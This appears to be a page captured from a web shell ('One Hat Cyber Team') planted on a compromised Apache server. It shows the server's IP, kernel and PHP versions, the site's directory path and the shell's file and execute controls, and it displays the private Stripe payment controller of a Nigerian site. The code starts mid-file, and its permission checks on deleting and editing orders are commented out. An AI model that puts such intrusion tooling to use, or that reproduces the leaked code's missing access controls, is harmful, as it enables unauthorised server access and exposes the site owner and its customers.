⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
softpos.com.ng
/
app
/
Http
/
Controllers
/
View File Name :
StripePaymentController.php
parent_id == 0) { $orders = Order::select( [ 'orders.*', 'users.name as user_name', ] )->join('users', 'orders.user_id', '=', 'users.id')->orderBy('orders.created_at', 'DESC')->get(); // dd($orders); } else { $orders = Order::select( [ 'orders.*', 'users.name as user_name', ] )->join('users', 'orders.user_id', '=', 'users.id')->orderBy('orders.created_at', 'DESC')->where('users.id', '=', $objUser->id)->get(); } return view('orders.index', compact('orders')); } public function destroy(Order $order) { // if(Auth::user()->can('Delete Coupon')) // { $order->delete(); return redirect()->back()->with('success', __('Order deleted successfully.')); // } // else // { // return redirect()->back()->with('error', __('Permission denied.')); // } } public function edit(Order $order) { // if(\Auth::user()->can('Edit Coupon')) // { $admin_payment_setting = Utility::getAdminPaymentSetting(); $order = Order::where('id', '=', $order->id)->first(); return view('orders.orderstatus', compact('order','admin_payment_setting')); // } // else // { // return redirect()->back()->with('error', __('Permission denied.')); // } } public function stripe($code) { try { $plan_id = \Illuminate\Support\Facades\Crypt::decrypt($code); } catch (\Throwable $th) { return redirect()->back()->with('error', __('Plan Not Found.')); } $plan_id = \Illuminate\Support\Facades\Crypt::decrypt($code); $plan = Plan::find($plan_id); $admin_payment_setting = Utility::getAdminPaymentSetting(); if($plan) { return view('plans.payment', compact('plan', 'admin_payment_setting')); } else { return redirect()->back()->with('error', __('Plan is deleted.')); } } public function stripePost(Request $request) { $objUser = \Auth::user(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $admin_payment_setting = Utility::getAdminPaymentSetting(); if($plan) { try { $price = $plan->price; if(!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if(!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $price = $plan->price - $discount_value; if($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } $orderID = strtoupper(str_replace('.', '', uniqid('', true))); if($price > 0.0) { Stripe\Stripe::setApiKey($admin_payment_setting['stripe_secret']); $data = Stripe\Charge::create( [ "amount" => 100 * $price, "currency" => env('CURRENCY'), // "currency" => "INR", "source" => $request->stripeToken, "description" => " Plan - " . $plan->name, "metadata" => ["order_id" => $orderID], ] ); } else { $data['amount_refunded'] = 0; $data['failure_code'] = ''; $data['paid'] = 1; $data['captured'] = 1; $data['status'] = 'succeeded'; } if($data['amount_refunded'] == 0 && empty($data['failure_code']) && $data['paid'] == 1 && $data['captured'] == 1) { Order::create( [ 'order_id' => $orderID, 'name' => $request->name, 'card_number' => isset($data['payment_method_details']['card']['last4']) ? $data['payment_method_details']['card']['last4'] : '', 'card_exp_month' => isset($data['payment_method_details']['card']['exp_month']) ? $data['payment_method_details']['card']['exp_month'] : '', 'card_exp_year' => isset($data['payment_method_details']['card']['exp_year']) ? $data['payment_method_details']['card']['exp_year'] : '', 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price, 'price_currency' => env('CURRENCY'), 'txn_id' => isset($data['balance_transaction']) ? $data['balance_transaction'] : '', 'payment_type' => __('STRIPE'), 'payment_status' => isset($data['status']) ? $data['status'] : 'succeeded', 'receipt' => isset($data['receipt_url']) ? $data['receipt_url'] : 'free coupon', 'user_id' => $objUser->id, ] ); if(!empty($request->coupon)) { $userCoupon = new UsersCoupons(); $userCoupon->user_id = $objUser->id; $userCoupon->coupon_id = $coupons->id; $userCoupon->order_id = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } if($data['status'] == 'succeeded') { $assignPlan = $objUser->assignPlan($plan->id); if($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan successfully activated.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Your payment has failed.')); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed.')); } } catch(\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } }